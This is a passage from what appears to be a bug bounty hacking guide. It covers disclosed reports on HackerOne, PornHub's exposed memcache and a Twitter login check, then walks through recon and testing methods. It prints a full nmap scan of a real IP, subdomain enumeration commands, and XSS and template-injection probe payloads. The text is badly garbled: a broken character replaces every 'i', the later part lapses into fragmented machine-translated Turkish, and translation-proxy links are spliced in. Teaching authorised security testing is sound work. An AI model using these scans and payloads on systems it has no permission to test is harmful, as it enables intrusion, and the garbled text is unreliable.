to vote on reports v�a the�r Hackt�v�ty l�st�ng. There was an easy way and hard way to
know the funct�onal�ty was ava�lable. V�a the easy way, a GET call to /current_user when
logged �n would �nclude hackt�v�ty_vot�ng_enabled: false. The hard way �s a l�ttle more
�nterest�ng, where the vulnerab�l�ty l�es and why I’m �nclud�ng th�s report.

10 https://hackerone.com/reports/137503
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If you v�s�t the hackt�v�ty and v�ew the page source, you’ll not�ce �t �s pretty sparse, just a
few d�vs and no real content.

HackerOne Hackt�v�ty Page Source

Now, �f you were unfam�l�ar w�th the�r platform and d�dn’t have a plug�n l�ke wappalyzer
�nstalled, just look�ng at th�s page source should tell you that the content �s be�ng
rendered by Javascr�pt.

So, w�th that �n m�nd, �f you open the devtools �n Chrome or F�refox, you can check
out the Javascr�pt source code (�n Chrome, you go to sources and on the left, top-
>hackerone.com->assets->frontend-XXX.js). Chrome devtools comes w�th a n�ce {}
pretty pr�nt button wh�ch w�ll make m�n�f�ed Javascr�pt readable. You could also use Burp
and rev�ew the response return�ng th�s Javascr�pt f�le.

Here�n l�es the reason for �nclus�on, �f you search the Javascr�pt for POST you can f�nd
a bunch of paths used by HackerOne wh�ch may not be read�ly apparent depend�ng on
your perm�ss�ons and what �s exposed to you as content. One of wh�ch �s:
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Hackerone Appl�cat�on Javascr�pt POST Vot�ng

As you can see, we have two paths for the vot�ng funct�onal�ty. At the t�me of th�s report,
you could actually make these calls and vote on the reports.

Now, th�s �s one way to f�nd the funct�onal�ty - �n the report, the hacker used another
method, by �ntercept�ng responses from HackerOne (presumably us�ng a tool l�ke Burp),
they sw�tched attr�buted returned as false w�th true. Th�s then exposed the vot�ng
elements wh�ch when cl�cked, made the ava�lable POST and DELETE calls.

The reason why I walked you through the Javascr�pt �s because, �nteract�ng w�th the JSON
response may not always expose new HTML elements. As a result, nav�gat�ng Javascr�pt
may expose otherw�se “h�dden” endpo�nts to �nteract w�th.
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çıkarımlar

Javascr�pt source code prov�des you w�th actual source code from a target you
can explore. Th�s �s great because your test�ng goes from blackbox, hav�ng no
�dea what the back end �s do�ng, to wh�tebox (though not ent�rely) where you
have �ns�ght �nto how code �s be�ng executed. Th�s doesn’t mean you have to
walk through every l�ne, the POST call �n th�s case was found on l�ne 20570 w�th
a s�mple search for POST.

8. Access�ng PornHub’s Memcache Installat�on



Zorluk : Orta

Url: stage.pornhub.com

Report L�nk: https://hackerone.com/reports/11987111

Date Reported: March 1, 2016

Bounty Pa�d: $2500

Tanım :

Pr�or to the�r publ�c launch, PornHub ran a pr�vate bug bounty program on HackerOne
w�th a broad bounty scope of *.pornhub.com wh�ch, to most hackers means all sub
doma�ns of PornHub are fa�r game. The tr�ck �s now f�nd�ng them.

In h�s blog post, Andy G�ll @ZephrF�sh12 expla�ns why th�s �s awesome, by test�ng the
ex�st�ng of var�ous sub doma�n names us�ng a l�st of over 1 m�ll�on potent�al names, he
d�scovered approx�mately 90 poss�ble hack�ng targets.

Now, v�s�t�ng all of these s�tes to see what’s ava�lable would take a lot of t�me so he
automated the process us�ng the tool Eyew�tness (�ncluded �n the Tools chapter) wh�ch
takes screenshots from the URLs w�th val�d HTTP / HTTPS pages and prov�des a n�ce
report of the s�tes l�sten�ng on ports 80, 443, 8080 and 8443 (common HTTP and HTTPS
ports).

Accord�ng to h�s wr�te up, Andy sl�ghtly sw�tched gears here and used the tool Nmap
to d�g deeper �n to the sub doma�n stage.pornhub.com. When I asked h�m why, he
expla�ned, �n h�s exper�ence, stag�ng and development servers are more l�kely to have
m�sconf�gured secur�ty perm�ss�ons than product�on servers. So, to start, he got the IP
of the sub doma�n us�ng the command nslookup:

nslookup stage.pornhub.com

Server: 8.8.8.8
11 https://hackerone.com/reports/119871
12 http://www.tw�tter.com/ZephrF�sh
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Address: 8.8.8.8#53

Non-author�tat�ve answer:

Name: stage.pornhub.com

Address: 31.192.117.70

I’ve also seen th�s done w�th the command, p�ng, but e�ther way, he now had the IP
address of the sub doma�n and us�ng the command sudo nmap -sSV -p- 31.192.117.70
-oA stage__ph -T4 & he got:

Start�ng Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST

Nmap scan report for 31.192.117.70

Host �s up (0.017s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

80/tcp open http ng�nx

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/119871
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.twitter.com/ZephrFish
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/119871
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.twitter.com/ZephrFish


443/tcp open http ng�nx

60893/tcp open memcache

Serv�ce detect�on performed. Please report any �ncorrect results at http://nmap.org/subm�t/
. Nmap done: 1 IP address (1 host up) scanned �n 22.73 seconds

Break�ng the command down:

• the flag -sSV def�nes the type of packet to send to the server and tells Nmap to try
and determ�ne any serv�ce on open ports

• the -p- tells Nmap to check all 65,535 ports (by default �t w�ll only check the most
popular 1,000)

• 31.192.117.70 �s the IP address to scan
• -oA stage__ph tells Nmap to output the f�nd�ngs �n �ts three major formats at once

us�ng the f�lename stage__ph
• -T4 def�nes the t�m�ng for the task (opt�ons are 0-5 and h�gher �s faster)

W�th regards to the result, the key th�ng to not�ce �s port 60893 be�ng open and runn�ng
what Nmap bel�eves to be memcache. For those unfam�l�ar, memcache �s a cach�ng
serv�ce wh�ch uses key-value pa�rs to store arb�trary data. It’s typ�cally used to help speed
up a webs�te by serv�ce content faster. A s�m�lar serv�ce �s Red�s.

F�nd�ng th�s �sn’t a vulnerab�l�ty �n and of �tself but �t �s a def�n�te redflag (though
�nstallat�on gu�des I’ve read recommend mak�ng �t �naccess�ble publ�cly as one secur�ty
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precaut�on). Test�ng �t out, surpr�s�ng PornHub d�dn’t enable any secur�ty mean�ng Andy
could connect to the serv�ce w�thout a username or password v�a netcat, a ut�l�ty program
used to read and wr�te v�a a TCP or UDP network connect�on. After connect�ng, he just
ran commands to get the vers�on, stats, etc. to conf�rm the connect�on and vulnerab�l�ty.

However, a mal�c�ous attacker could have used th�s access to:

• Cause a den�al of serv�ce (DOS) by constantly wr�t�ng to and eras�ng the cache
thereby keep�ng the server busy (th�s depends on the s�te setup)

• Cause a DOS by f�ll�ng the serv�ce w�th junk cached data, aga�n, depend�ng on the
serv�ce setup

• Execute cross-s�te scr�pt�ng by �nject�ng a mal�c�ous JS payload as val�d cached data
to be served to users

• And poss�bly, execute a SQL �nject�on �f the memcache data was be�ng stored �n the
database

çıkarımlar

Sub doma�ns and broader network conf�gurat�ons represent great potent�al for
hack�ng. If you not�ce that a program �s �nclud�ng *.SITE.com �n �t’s scope, try to
f�nd sub doma�ns that may be vulnerable rather than go�ng after the low hang�ng
fru�t on the ma�n s�te wh�ch everyone maybe search�ng for. It’s also worth your
t�me to fam�l�ar�ze yourself w�th tools l�ke Nmap, eyew�tness, knockpy, etc. wh�ch
w�ll help you follow �n Andy’s shoes.



9. Bypass�ng Tw�tter Account Protect�ons

Zorluk : Kolay

URL : tw�tter.com

Rapor Bağlantısı : Yok

Date Reported: Bounty awarded October 2016

Bounty Pa�d: $560

Tanım :

In chatt�ng w�th Karan Sa�n�, he shared the follow�ng Tw�tter vulnerab�l�ty w�th me so I
could �nclude �t and share �t here. Wh�le the report �sn’t d�sclosed (at the t�me of wr�t�ng),
Tw�tter d�d g�ve h�m perm�ss�on to share the deta�ls and there’s two �nterest�ng takeaways
from h�s f�nd�ng.

In test�ng the account secur�ty features of Tw�tter, Karan not�ced that when you at-
tempted to log �n to Tw�tter from an unrecogn�zed IP address / browser for the f�rst
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t�me, Tw�tter may ask you for some account val�dat�on �nformat�on such as an ema�l or
phone number assoc�ated w�th the account. Thus, �f an attacker was able to comprom�se
your user name and password, they would potent�ally be stopped from logg�ng �nto and
tak�ng over your account based on th�s add�t�onal requ�red �nformat�on.

However, undeterred, after Karan created a brand new account, used a VPN and tested
the funct�onal�ty on h�s laptop browser, he then thought to use h�s phone, connect to the
same VPN and log �nto the account. Turns out, th�s t�me, he was not prompted to enter
add�t�onal �nformat�on - he had d�rect access to the “v�ct�m’s” account. Add�t�onally, he
could nav�gate to the account sett�ngs and v�ew the user’s ema�l address and phone
number, thereby allow�ng h�m desktop access (�f �t mattered).

In response, Tw�tter val�dated and f�xed the �ssue, award�ng Karan $560.

çıkarımlar

I �ncluded th�s example because �t demonstrates two th�ngs - f�rst, wh�le �t does
reduce the �mpact of the vulnerab�l�ty, there are t�mes that report�ng a bug wh�ch
assumes an attacker knows a v�ct�m’s user name and password �s acceptable
prov�ded you can expla�n what the vulnerab�l�ty �s and demonstrate �t’s sever�ty.

Secondly, when test�ng for appl�cat�on log�c related vulnerab�l�t�es, cons�der the
d�fferent ways an appl�cat�on could be accessed and whether secur�ty related
behav�ours are cons�stent across platforms. In th�s case, �t was browsers and
mob�le appl�cat�ons but �t also could �nclude th�rd party apps or API endpo�nts.

özet

Appl�cat�on log�c based vulnerab�l�t�es don’t necessar�ly always �nvolve code. Instead,
explo�t�ng these often requ�res a keen eye and more th�nk�ng outs�de of the box. Always
be on the lookout for other tools and serv�ces a s�te may be us�ng as those represent a
new attack vector. Th�s can �nclude a Javascr�pt l�brary the s�te �s us�ng to render content.



More often than not, f�nd�ng these w�ll requ�re a proxy �nterceptor wh�ch w�ll allow you
to play w�th values before send�ng them to the s�te you are explor�ng. Try chang�ng
any values wh�ch appear related to �dent�fy�ng your account. Th�s m�ght �nclude sett�ng
up two d�fferent accounts so you have two sets of val�d credent�als that you know w�ll
work. Also look for h�dden / uncommon endpo�nts wh�ch could expose un�ntent�onally
access�ble funct�onal�ty.

Also, be sure to cons�der cons�stency across the mult�ple ways the serv�ce can be ac-
cessed, such as v�a the desktop, th�rd party apps, mob�le appl�cat�ons or APIs. Protect�ons
offered v�a one method may not be cons�stently appl�ed across all others, thereby
creat�ng a secur�ty �ssue.
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Lastly, be on the lookout for new funct�onal�ty - �t often represents new areas for test�ng!
And �f/when poss�ble, automate your test�ng to make better use of your t�me.
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21. Gett�ng Started

Th�s chapter has been the most d�ff�cult to wr�te, largely because of the var�ety of bug
bounty programs that ex�st and cont�nue to be made ava�lable. To me, there �s no s�mple
formula for hack�ng but there are patterns. In th�s chapter, I’ve tr�ed to art�culate how I
approach a new s�te, �nclud�ng the tools that I use (all of wh�ch are �ncluded �n the Tools
chapter) and what I’ve learned of others. Th�s �s all based on my exper�ence hack�ng,
�nterv�ew�ng successful hackers, read�ng blogs and watch�ng presentat�ons from DefCon,
BS�des, and other secur�ty conferences.

But before we beg�n, I rece�ve a lot of ema�ls ask�ng me for help and gu�dance on how to
get started. I usually respond to those w�th a recommendat�on that, �f you’re just start�ng
out, choose a target wh�ch you’re l�kely to have more success on. In other words, don’t
target Uber, Shop�fy, Tw�tter, etc. That �sn’t to say you won’t be successful, but those
programs have very smart and accompl�shed hackers test�ng them da�ly and I th�nk �t’ll be
eas�er to get d�scouraged �f that’s where you spend your t�me when you’re just beg�nn�ng.
I know because I’ve been there. Instead, I suggest start�ng out w�th a program that has
a broad scope and doesn’t pay bount�es. These programs often attract less attent�on
because they don’t have f�nanc�al �ncent�ves. Now, I know �t won’t be as reward�ng when
a bug �s resolved w�thout a payment but hav�ng a couple of these under your belt w�ll
help mot�vate you to keep hack�ng and as you �mprove, you’ll be �nv�ted to part�c�pate �n
pr�vate programs wh�ch �s where you can make some good money.

W�th that out of the way, let’s get started.

Informat�on Gather�ng

As you know from the examples deta�led prev�ously, there’s more to hack�ng that just
open�ng a webs�te, enter�ng a payload and tak�ng over a server. There are a lot of th�ngs
to cons�der when you’re target�ng a new s�te, �nclud�ng:

• What’s the scope of the program? All sub doma�ns of a s�te or spec�f�c URLs? For
example, *.tw�tter.com, or just www.tw�tter.com?

• How many IP addresses does the company own? How many servers �s �t runn�ng?
• What type of s�te �s �t? Software as a Serv�ce? Open source? Collaborat�ve? Pa�d vs

Free?
• What technolog�es are they us�ng? Python, Ruby, PHP, Java? MSQL? MySQL, Post-

gres, M�crosoft SQL? Wordpress, Drupal, Ra�ls, Django?
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These are only some of the cons�derat�ons that help def�ne where you are go�ng to look
and how you’re go�ng to approach the s�te. Fam�l�ar�z�ng yourself w�th the program �s a
f�rst step. To beg�n, �f the program �s �nclud�ng all sub doma�ns but hasn’t l�sted them,
you’re go�ng to need to d�scover them. As deta�led �n the tools sect�on, KnockPy �s a great
tool to use for th�s. I recommend clon�ng Dan�el M�essler’s SecL�sts G�tHub repos�tory and
us�ng the sub doma�ns l�st �n the /D�scover/DNS folder. The spec�f�c command would be:

knockpy doma�n.com -w /PATH_TO_SECLISTS/D�scover/DNS/subdoma�ns-top1m�l-110000.t\

xt

Th�s w�ll k�ck off the scan and save a csv f�le w�th the results. I recommend start�ng that
and lett�ng �t run �n the background. Next, I recommend us�ng Jason Hadd�x’s (Techn�cal
D�rector of Bugcrowd and Hack�ng ProT�ps #5 �nterv�ewee) enumall scr�pt, ava�lable on
G�tHub under h�s Doma�n repo. Th�s requ�res Recon-ng to be �nstalled and conf�gured but
he has setup �nstruct�ons �n h�s readme f�le. Us�ng h�s scr�pt, we’ll actually be scrapp�ng
Google, B�ng, Ba�du, etc. for sub doma�n names. Aga�n, let th�s run �n the background
and �t’ll create a f�le w�th results.

Us�ng these two tools should g�ve us a good set of sub doma�ns to test. However, �f, after
they’re f�n�shed, you st�ll want to exhaust all opt�ons, IPV4�nfo.com �s a great webs�te
wh�ch l�sts IP addresses reg�stered to a s�te and assoc�ated sub doma�ns found on those
addresses. Wh�le �t would be best to automate scrapp�ng th�s, I typ�cally w�ll browse
th�s manually and look for �nterest�ng addresses as a last step dur�ng my �nformat�on
gather�ng.

Wh�le the sub doma�n enumerat�on �s happen�ng �n the background, next I typ�cally start
work�ng on the ma�n s�te of the bug bounty program, for example, www.drchrono.com.
Prev�ously, I would just jump �nto us�ng Burp Su�te and explor�ng the s�te. But, based on
Patr�k Fehrenbach’s adv�ce and awesome wr�te ups, I now start the ZAP proxy, v�s�t the
s�te and then do a Forced Browse to d�scover d�rector�es and f�les. Aga�n, I let th�s run �n
the background. As an as�de, I’m us�ng ZAP because at the t�me of wr�t�ng, I don’t have a
pa�d vers�on of Burp Su�te but you could just as eas�ly use that.

Hav�ng all that runn�ng, �t’s now that I actually start explor�ng the ma�n s�te and
fam�l�ar�z�ng myself w�th �t. To do so, ensure you havethe Wappalyzer plug �nstalled (�t’s
ava�lable for F�reFox, wh�ch I use, and Chrome). Th�s allows us to �mmed�ately see what
technolog�es a s�te �s us�ng �n the address bar. Next, I start Burp Su�te and use �t to proxy
all my traff�c. If you are us�ng the pa�d vers�on of Burp, �t’s best to start a new project for
the bounty program you’ll be work�ng on.

At th�s stage, I tend to leave the defaults of Burp Su�te as �s and beg�n walk�ng through the
s�te. In other words, I leave the scope completely untouched so all traff�c �s prox�ed and
�ncluded �n the result�ng h�story and s�te maps. Th�s ensures that I don’t m�ss any HTTP
calls made wh�le �nteract�ng w�th the s�te. Dur�ng th�s process, I’m really just explor�ng
wh�le keep�ng my eyes out for opportun�t�es, �nclud�ng:
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The Technology Stack

What �s the s�te developed w�th, what �s Wappalyzer tell�ng me? For example, �s the s�te
us�ng a Framework l�ke Ra�ls or Django? Know�ng th�s helps me determ�ne how I’ll be test-
�ng and how the s�te works. For example, when work�ng on a Ra�ls s�te, CSRF tokens are
usually embedded �n HTML header tags (at least for newer vers�ons of Ra�ls). Th�s �s help-
ful for test�ng CSRF across accounts. Ra�ls also uses a des�gn pattern for URLs wh�ch typ�-
cally corresponds to /CONTENT_TYPE/RECORD_ID at the most bas�c. Us�ng HackerOne as
an example, �f you look at reports, the�r URLs are www.hackerone.com/reports/12345.
Know�ng th�s, we can try to pass record IDs we shouldn’t have access to. There’s also the
poss�b�l�ty that developers may have �nadvertently left json paths ava�lable d�sclos�ng
�nformat�on, l�ke www.hackerone.com/reports/12345.json.

I also look to see �f the s�te �s us�ng a front end JavaScr�pt l�brary wh�ch �nteracts w�th a
back end API. For example, does the s�te use AngularJS? If so, I know to look for Angular
Inject�on vulnerab�l�t�es and �nclude the payload {{4*4}}[[5*5]] when subm�tt�ng f�elds (I
use both because Angular can use e�ther and unt�l I conf�rm wh�ch they use, I don’t want
to m�ss opportun�t�es). The reason why an API return�ng JSON or XML to a template �s
great �s because somet�mes those API calls un�ntent�onally return sens�t�ve �nformat�on
wh�ch �sn’t actually rendered on the page. See�ng those calls can lead to �nformat�on
d�sclosure vulnerab�l�t�es as ment�oned regard�ng Ra�ls.

Lastly, and wh�le th�s bleeds �nto the next sect�on, I also check the proxy to see th�ngs l�ke
where f�les are be�ng served from, such as Amazon S3, JavaScr�pt f�les hosted elsewhere,
calls to th�rd party serv�ces, etc.

Funct�onal�ty Mapp�ng

There’s really no sc�ence to th�s stage of my hack�ng but here, I’m just try�ng to understand
how the s�te works. For example:

• I set up accounts and note what the ver�f�cat�on ema�ls and URLs look l�ke, be�ng
on the lookout for ways to reuse them or subst�tute other accounts.

• I note whether OAuth �s be�ng used w�th other serv�ces.
• Is two factor authent�cat�on ava�lable, how �s �t �mplemented - w�th an authent�cator

app or does the s�te handle send�ng SMS codes?
• Does the s�te offer mult�ple users per account, �s there a complex perm�ss�ons

model?
• Is there any �nter-user messag�ng allowed?
• Are any sens�t�ve documents stored or allowed to be uploaded?
• Are any type of prof�le p�ctures allowed?
• Does the s�te allow users to enter HTML, are WYSIWYG ed�tors used?
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These are just a few examples. Dur�ng th�s process, I’m really just try�ng to understand
how the platform works and what funct�onal�ty �s ava�lable to be abused. I try to p�cture
myself as the developer and �mag�ne what could have been �mplemented �ncorrectly or
what assumpt�ons could have been made, prepp�ng for actual test�ng. I try my best not to
start hack�ng r�ght away here as �t’s really easy to get d�stracted or caught up try�ng to f�nd



XSS, CSRF, etc. vulnerab�l�t�es subm�tt�ng mal�c�ous payloads everywhere. Instead, I try
to focus on understand�ng and f�nd�ng areas that may prov�de h�gher rewards and may
not have been thought of by others. But, that sa�d, �f I f�nd a bulk �mporter wh�ch accepts
XML, I’m def�n�tely stopp�ng my explorat�on and upload�ng a XXE document, wh�ch leads
me �nto my actual test�ng.

Appl�cat�on Test�ng

Now that we have an understand�ng of how our target works, �t’s t�me to start hack�ng. At
th�s stage, some others may use automated scanners to crawl a s�te, test for XSS, CSRF,
etc. but truthfully, I don’t, at least r�ght now. As such, I’m not go�ng to speak to those
tools, �nstead focus�ng on what my “manual” approach looks l�ke.

So, at th�s stage, I tend to start us�ng the s�te as �s �ntended, creat�ng content, users,
teams, etc., �nject�ng payloads anywhere and everywhere look�ng for anomal�es and
unexpected behav�our from the s�te when �t returns that content. To do so, I’ll typ�cally
add the payload <�mg src=”x” onerror=alert(1)> to any f�eld wh�ch w�ll accept �t, and
�f I know that a templat�ng eng�ne (e.g., Angular) �s be�ng used, I’ll add a payload �n the
same syntax, l�ke {{4*4}}[[5*5]]. The reason I use the �mg tag �s because �t’s des�gned to
fa�l s�nce the �mage x shouldn’t be found. As a result, the onerror event should execute
the JavaScr�pt funct�on alert. W�th the Angular payloads, I’m hop�ng to see e�ther 16 or 25
wh�ch may �nd�cate the poss�b�l�ty of pass�ng a payload to execute JavaScr�pt, depend�ng
on the vers�on of Angular.

On that note, after sav�ng the content, I check to see how the s�te �s render�ng my content,
whether any spec�al characters are encoded, attr�butes str�pped, whether the XSS �mage
payload executes, etc. Th�s g�ves me an �dea of how the s�te handles mal�c�ous �nput and
g�ves me an �dea of what to look for. I typ�cally do not spend a lot of t�me do�ng th�s
or look�ng for such s�mple XSS because these vulnerab�l�t�es are usually cons�dered low
hang�ng fru�t and often reported qu�ckly.

As a result, I’ll move on to my notes from the funct�onal mapp�ng and d�gg�ng �nto test�ng
each area w�th part�cular attent�on be�ng pa�d to the HTTP requests and responses be�ng
sent and rece�ved. Aga�n, th�s stage really depends on the funct�onal�ty offered by a s�te.
For example, �f a s�te hosts sens�t�ve f�le uploads, I’ll test to see �f the URLs to those
f�les can be enumerated or accessed by an anonymous user or someone s�gned �nto a
d�fferent account. If there �s a WYSIWYG, I’ll try �ntercept�ng the HTTP POST request and
add add�t�onal HTML elements l�ke �mages, forms, etc.
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Wh�le I’m work�ng through these areas, I keep an eye out for:

• The types of HTTP requests that change data have CSRF tokens and are val�dat�ng
them? (CSRF)

• Whether there are any ID parameters that can be man�pulated (Appl�cat�on Log�c)
• Opportun�t�es to repeat requests across two separate user accounts (Appl�cat�on

Log�c)
• Any XML upload f�elds, typ�cally assoc�ated w�th mass record �mports (XXE)
• URL patterns, part�cularly �f any URLs �nclude record IDs (Appl�cat�on Log�c, HPP)
• Any URLs wh�ch have a red�rect related parameter (Open Red�rect)
• Any requests wh�ch echo URL parameters �n the response (CRLF, XSS, Open



Red�rect)
• Server �nformat�on d�sclosed such as vers�ons of PHP, Apache, Ng�nx, etc. wh�ch

can be leveraged to f�nd unpatched secur�ty bugs

A good example of th�s was my d�sclosed vulnerab�l�ty aga�nst MoneyB�rd. Walk�ng
through the�r funct�onal�ty, I not�ced that they had team based funct�onal�ty and the
ab�l�ty to create apps wh�ch gave access to an API. When I tested reg�ster�ng the app, I
not�ced they were pass�ng the bus�ness ID to the HTTP POST call. So, I tested reg�ster�ng
apps aga�nst teams I was a part of but should not have had perm�ss�on to create apps
for. Sure enough, I was successful, the app was created and I rece�ved an above average
$100 bounty from them.

At th�s po�nt, �t’s best to fl�p back to ZAP and see what, �f any, �nterest�ng f�les or d�rector�es
have been found v�a the brute forc�ng. You’ll want to rev�ew those f�nd�ngs and v�s�t the
spec�f�c pages, espec�ally anyth�ng wh�ch may be sens�t�ve l�ke .htpasswd, sett�ngs, conf�g,
etc. f�les. Add�t�onally, us�ng Burp, you should now have a decent s�te map created wh�ch
can be rev�ewed for pages that Burp found but weren’t actually v�s�ted. And wh�le I don’t
do th�s, Jason Hadd�x d�scusses �t dur�ng h�s DefCon 23 presentat�on, How to Shot Web, �t’s
poss�ble to take the s�te maps and have Burp, and other tools, do automat�c compar�sons
across accounts and user perm�ss�ons. Th�s �s on my l�st of th�ngs to do but unt�l now,
my work has largely been manual, wh�ch takes us to the next sect�on.

D�gg�ng Deeper

Wh�le most of th�s hack�ng has been manual, th�s obv�ously doesn’t scale well. In order
to be successful on a broader scale, �t’s �mportant to automate as much as we can. We
can start w�th the results from our KnockPy and enumall scans, both of wh�ch prov�de
us w�th l�sts of sub doma�ns to checkout. Comb�n�ng both l�sts, we can take the doma�n
names and pass them to a tool l�ke EyeW�tness. Th�s w�ll take screen shots from all the
sub doma�ns l�sted wh�ch are ava�lable v�a ports l�ke 80, 443, etc. to �dent�fy what the
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s�te looks l�ke. Here we’ll be look�ng for sub doma�n take overs, access�ble web panels,
cont�nuous �ntegrat�on servers, etc.

We can also take our l�st of IPs from KnockPy and pass �t to Nmap to beg�n look�ng for
open ports and vulnerable serv�ces. Remember, th�s �s how Andy G�ll made $2,500 from
PornHub, f�nd�ng an open Memcache �nstallat�on. S�nce th�s can take a wh�le to run,
you’ll want to start th�s and let �t run �n the background aga�n. The full funct�onal�ty of
Nmap �s beyond the scope of th�s book but the command would look l�ke nmap -sSV
-oA OUTPUTFILE -T4 -�L IPS.csv. Here we are tell�ng Nmap to scan the top 1000 most
common ports, g�ve us the serv�ce vers�on �nformat�on for any open ports, wr�te �t to an
output f�le and use our csv f�le as a l�st of IPs to scan.

Go�ng back to the program scope, �t’s also poss�ble that mob�le appl�cat�ons may be �n
scope. Test�ng these can often lead to f�nd�ng new API endpo�nts vulnerable to hack�ng.
To do so, you’ll need to proxy your phone traff�c through Burp and beg�n us�ng the mob�le
app. Th�s �s one way to see the HTTP calls be�ng made and man�pulate them. However,
somet�mes apps w�ll use SSL p�nn�ng, mean�ng �t w�ll not recogn�ze or use the Burp SSL
cert�f�cate, so you can’t proxy the app’s traff�c. Gett�ng around th�s �s more d�ff�cult and
beyond the scope of th�s book (at least at th�s t�me) but there �s documentat�on on how
to address that and Arne Sw�nnen has a great presentat�on from BS�des San Franc�sco1

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.youtube.com/watch%3Fv%3DdsekKYNLBbc


about how he addressed th�s to test Instagram.

Even w�thout that, there are mob�le hack�ng tools wh�ch can help test apps. Wh�le I don’t
onlarla çok fazla deney�me sah�p (en azından şu anda), y�ne de kullanmak �ç�n b�r seçenek.
Bunların her �k�s� de �ç�nde bulunan Mob�l Güvenl�k Çerçeves� ve JD-GUI’y� �çer�r.
Araçlar bölümünde korsanların Uber’e karşı b�r d�z� güvenl�k açığı bulmak �ç�n kullandıkları
ve bu API.

Mob�l uygulama yoksa, bazen programların kullanab�leceğ� kapsamlı b�r API’sı vardır.
sayısız güvenl�k açığı �çeren - Facebook har�ka b�r örnek. Ph�l�ppe Harewood
her türlü b�lg�n�n açığa çıkmasına neden olan güvenl�k açıklarını açığa çıkarmaya devam ed�yor
Facebook'ta. Burada, gel�şt�r�c� belgeler�n� s�teden �ncelemek �steyeceks�n�z ve
anormall�kler� aramaya başlayın. Sağlanan kapsamları test eden güvenl�k açıkları buldum
OAuth tarafından b�lg�ye er�şmem gerek�r (OAuth kapsamları g�b�d�r)
e-posta adres�n�z g�b� b�r uygulamanın neye er�şeb�leceğ�n� tanımlayan �z�nler
prof�l b�lg�s�, vb.) Yapmak �ç�n API kullanarak �şlevsell�k atlamaları da buldum.
ücrets�z b�r hesapla er�şmemem gereken şeyler (bazıları �ç�n güvenl�k açığı sayılıyor)
ş�rketler). Ayrıca, kötü amaçlı b�r �çer�ğ�, uygulama sırasında b�r API olarak API üzer�nden test edeb�l�rs�n�z.
s�te, web s�tes�nde gönder�m sırasında yükler� sıyrılıyor.

Fran tarafından sunulan sunumlara dayanarak yen� kullanmaya başladığım başka b�r araç
Rosen G�tRob. Bu, genel G�tHub depolarını arayacak otomat�k b�r araçtır.
hedefler ve konf�gürasyonlar ve ş�freler dah�l olmak üzere hassas dosyaları arayın.
Ayrıca, katkıda bulunanların depolarını da tarayacaktır. Sunumlarında Frans konuşur

1 https://www.youtube.com/watch?v=dsekKYNLBbc
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Salesforce g�r�ş b�lg�ler�n� b�r ş�rket�n halka açık deposunda bulunan hakkında
büyük b�r ödeme. Ayrıca kamu depolarında Slack anahtarlarını bulma konusunda blog yazdı.
Büyük ödüllere.

Son olarak, y�ne Frans tarafından öner�ld�ğ� g�b�, ödeme duvarları bazen kesmek �ç�n olgun b�r alan sunar.
�ng. Bunu kend� başıma tecrübe etmeme rağmen, Frans güvenl�k açıklarını bulduğunu söylüyor
D�ğer çoğu b�lg�sayar korsanının ödeme gereğ� neden�yle kaçınılması gereken ücretl� �şlevlerde
test ed�len serv�s �ç�n. Ne kadar başarılı olab�leceğ�nle konuşamam
bu, ancak f�yatın düşünüldüğünü söyleyerek hack ederken keşfed�lmes� gereken �lg�nç b�r alan g�b� görünüyor
makul.

özet

Bu bölümde, sürec�m�n neye benzed�ğ� üzer�ne b�r m�ktar ışık tutmaya yardımcı olmaya çalıştım.
Kend�n�z�nk�n� gel�şt�rmen�ze yardımcı olur. Bugüne kadar, b�r hedef� keşfett�kten sonra en başarılı oldum.
hang� �şlevsell�ğ� sağladığını anlamak ve bu güvenl�k açığı türler�yle eşleşt�rmek
test yapmak. Ancak, araştırmaya devam ett�ğ�m alanlardan b�r� ve s�z� cesaretlend�r�yorum
aynı zamanda otomasyondur. Yapab�lecek çok sayıda hackleme aracı var
hayatınızı kolaylaştıracak, Burp, ZAP, Nmap, KnockPy, vb. burada sayılanlardan b�rkaçıdır. Onun
Bunları aklınızda tutmak �ç�n �y� b�r f�k�r
Daha der�ne. Sonuç olarak, �şte tartışmış olduklarımızın b�r özet�:

1. Tüm alt alanları (kapsam dah�l�ndeyse) KnockPy kullanarak numaralandırın, enumall Recon-ng
komut dosyası ve IPV4�nfo.com

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.youtube.com/watch%3Fv%3DdsekKYNLBbc


2. ZAP proxy's� başlatın, ana hedef s�tey� z�yaret ed�n ve keşfetmek �ç�n b�r Zorunlu Göz Atma gerçekleşt�r�n
dosyalar ve d�z�nler

3. Wappalyzer ve Burp Su�te (veya ZAP) proxy �le kullanılan har�ta teknoloj�ler�
4. İlg�l� �şlevler� d�kkate alarak mevcut �şlevler� araştırın ve anlayın.

güvenl�k açığı türler�
5. Sağlanan �şlevsell�k �le güvenl�k açığı türler�n� eşleme test�ne başlayın
6. KnockPy ve enumall taramalardan EyeW�tness ve Nmap taramalarını otomat�kleşt�r�n
7. Mob�l uygulama güvenl�k açıklarını �nceley�n
8. Varsa, er�ş�lemez �şlevsell�k de dah�l olmak üzere API katmanını test ed�n.
9. G�tHub depolarında G�tRob �le özel b�lg� arayın.

10. S�teye abone olun ve test ed�lecek ek �şlevler �ç�n ödeme yapın

Sayfa 205

22. Güvenl�k Açığı Raporları

Böylece gün sonunda geld� ve �lk kırılganlığını buldun. Öncel�kle tebr�k eder�m.
dönüşüme kazandırılmalı! C�dden, güvenl�k açıklarını bulmak kolay değ�ld�r, ancak cesaret kırmaktır.

İlk tavs�yem rahatlamak, heyecanlanmaktan kaçınmak. Olma h�ss�n� b�l�yorum
B�r rapor sunma konusunda çok memnun ve
güvenl�k açığı olmadığını ve ş�rket�n �t�barınızı zedeleyecek olan raporu kapattığını söyled�
raporlama platformunda.

Bundan kaçınmana yardım etmek �st�yorum. Yan� �lk şey �lk.

Açıklama tal�matlarını okuyun.

Hem HackerOne hem de Bugcrowd’da, katılan her ş�rket kapsam �ç�nde ve dışında
program �ç�n kapsam alanları. İnşallah önce onları okudun, böylece zamanını boşa harcamadın.
